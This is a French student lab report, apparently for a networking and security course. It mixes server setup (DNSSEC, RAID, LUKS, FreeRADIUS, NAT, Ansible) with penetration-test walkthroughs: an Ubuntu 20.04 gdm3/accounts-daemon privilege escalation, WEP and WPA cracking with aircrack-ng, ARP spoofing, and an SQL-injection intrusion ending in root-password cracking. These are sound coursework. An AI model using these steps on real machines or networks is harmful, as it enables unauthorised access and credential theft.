 Kpiedbleu.site.+005+22902.key -&amp;gt; piedbleu.site-zsk.key&lt;br /&gt;
 Kpiedbleu.site.+005+22902.private -&amp;gt; piedbleu.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.&lt;br /&gt;
&lt;br /&gt;
On signe ensuite les enregistrements de la zone : &lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site.signed&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.&lt;br /&gt;
&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Vérification:&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/&lt;br /&gt;
&lt;br /&gt;
[[Fichier:dnssec1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
L'utilisation de la commande : &lt;br /&gt;
 dnssec-verify -o piedbleu.site db.piedbleu.site.signed&lt;br /&gt;
&lt;br /&gt;
nous donne le résultat suivant:&lt;br /&gt;
 Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'&lt;br /&gt;
 Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                     ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
&lt;br /&gt;
==IPv6==&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fefe:c26c&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fefe:c26c&lt;br /&gt;
&lt;br /&gt;
Ensuite, on resigne le DNS : &lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Et on redémarre bind9.&lt;br /&gt;
&lt;br /&gt;
=Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux.&lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 sudo adduser u1&lt;br /&gt;
 su u1&lt;br /&gt;
 id&lt;br /&gt;
   uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 whoami&lt;br /&gt;
   pwn&lt;br /&gt;
 id&lt;br /&gt;
   uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles : &lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
On peut ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé (message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID. &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):&lt;br /&gt;
&lt;br /&gt;
 crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par force brute avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-6.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John the Ripper nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I_was_here_IMA_G8&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=Réalisations=&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions virtuelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 fdisk -l # on repère la clé USB&lt;br /&gt;
 fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/USB &lt;br /&gt;
 mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 umount /mnt/USB&lt;br /&gt;
 cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
==Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
===FreeRADIUS===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
On installe le paquet :&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :&lt;br /&gt;
&lt;br /&gt;
 client 10.60.100.10/24 {&lt;br /&gt;
 	shortname = Piedbleu&lt;br /&gt;
 	secret = pasglop&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
On ajoute un utilisateur FreeRADIUS &amp;quot;pifou&amp;quot; dans le fichier de configuration /etc/freeradius/3.0/users : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour finir, on configure l'authentification PEAP-MSCHAPv2.&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 eap{&lt;br /&gt;
 ...&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
 ...&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap : &lt;br /&gt;
&lt;br /&gt;
 use_mppe = yes&lt;br /&gt;
 require_encryption = yes&lt;br /&gt;
 require_strong = yes&lt;br /&gt;
 with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
===Point d'accès WiFi===&lt;br /&gt;
&lt;br /&gt;
Ensuite, on configure le point d'accès WiFi.&lt;br /&gt;
&lt;br /&gt;
 ssh root@10.60.100.10 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group8&lt;br /&gt;
 radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop&lt;br /&gt;
 aaa group server radius radius_group8&lt;br /&gt;
 server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 : &lt;br /&gt;
&lt;br /&gt;
 dot11 ssid Piedbleu&lt;br /&gt;
 vlan 308&lt;br /&gt;
 authentication open eap eap_group8&lt;br /&gt;
 authentication network-eap eap_group8&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption: &lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 encryption vlan 308 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid Piedbleu&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Encapsulation: &lt;br /&gt;
&lt;br /&gt;
 int dot11radio0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 exit&lt;br /&gt;
 int Gi0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
En n'oubliant pas de démarrer l'interface  :&lt;br /&gt;
&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 no shutdown&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
Ping du point d'accès vers notre VM : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ping.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On observe notre SSID &amp;quot;Piedbleu&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ssid.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On s'y connecte avec notre téléphone tout en lançant la commande : &lt;br /&gt;
&lt;br /&gt;
 freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP===&lt;br /&gt;
&lt;br /&gt;
'''6509E'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.1&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.99&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.150 10.60.108.255&lt;br /&gt;
 write&lt;br /&gt;
 exit&lt;br /&gt;
 sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
'''C9200'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.2&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.49&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.100 10.60.108.255&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
===Mascarade===&lt;br /&gt;
&lt;br /&gt;
'''6509E'''&lt;br /&gt;
&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 ip nat inside&lt;br /&gt;
&lt;br /&gt;
 access-list 108 permit ip 10.60.108.0 0.0.0.255 any&lt;br /&gt;
 ip nat inside source list 108 interface Loopback0 overload&lt;br /&gt;
&lt;br /&gt;
=Ferme de serveurs Web=&lt;br /&gt;
&lt;br /&gt;
==Architecture générale de la ferme==&lt;br /&gt;
&lt;br /&gt;
===Configuration VM Capbreton===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/xen/capbreton.cfg, on ajoute une interface réseau : &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C',&lt;br /&gt;
         'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D',&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
On redémarre ensuite la VM.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/network/interfaces, on configure notre nouvelle interface : &lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.8 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne.&lt;br /&gt;
&lt;br /&gt;
 #Acquire::http::Proxy &amp;quot;http://proxy.polytech-lille.fr:3128&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
===Configuration VM Chassiron===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/network/interfaces, on configure notre interface : &lt;br /&gt;
&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.22&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.8&lt;br /&gt;
&lt;br /&gt;
Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy :&lt;br /&gt;
&lt;br /&gt;
 #Acquire::http::Proxy &amp;quot;http://proxy.polytech-lille.fr:3128&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/resolv.conf : &lt;br /&gt;
&lt;br /&gt;
 domain plil.info&lt;br /&gt;
 nameserver 192.168.42.8&lt;br /&gt;
&lt;br /&gt;
===Mascarade===&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/systcl.conf :&lt;br /&gt;
&lt;br /&gt;
 net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance les commandes : &lt;br /&gt;
&lt;br /&gt;
 apt install iptables-persistent&lt;br /&gt;
&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/conf/all/forwarding&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32&lt;br /&gt;
&lt;br /&gt;
Pour tester : &lt;br /&gt;
&lt;br /&gt;
 ping 192.168.42.22 #sur la VM capreton&lt;br /&gt;
 ping 192.168.42.8  #sur la VM chassiron&lt;br /&gt;
 ping 8.8.8.8       #sur la VM chassiron&lt;br /&gt;
 apt update         #sur la VM chassiron&lt;br /&gt;
&lt;br /&gt;
===Clés SSH===&lt;br /&gt;
&lt;br /&gt;
On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x &amp;quot;entrée&amp;quot;) : &lt;br /&gt;
&lt;br /&gt;
 ssh-keygen -b 2048&lt;br /&gt;
&lt;br /&gt;
Ensuite, on propage notre clé publique sur toutes les VM secondaires : &lt;br /&gt;
 &lt;br /&gt;
 for i in $(cat liste_ip.txt); do echo ssh-copy-id root@&amp;quot;$i&amp;quot;; done&lt;br /&gt;
&lt;br /&gt;
Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires.&lt;br /&gt;
&lt;br /&gt;
Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
dans le fichier /etc/ssh/sshd_config.&lt;br /&gt;
&lt;br /&gt;
===Installation d'Ansible ===&lt;br /&gt;
&lt;br /&gt;
Nous passons à la configuration de nos serveurs Web. Nous utilisons pour cela le système ansible. &lt;br /&gt;
Nous commençons par installer ansible sur notre VM principale :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/ansible/hosts, nous créons un inventaire en séparant l’ensemble des serveurs externes du notre :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:hosts1.png]]&lt;br /&gt;
&lt;br /&gt;
===Ansible rôle MOTD===&lt;br /&gt;
&lt;br /&gt;
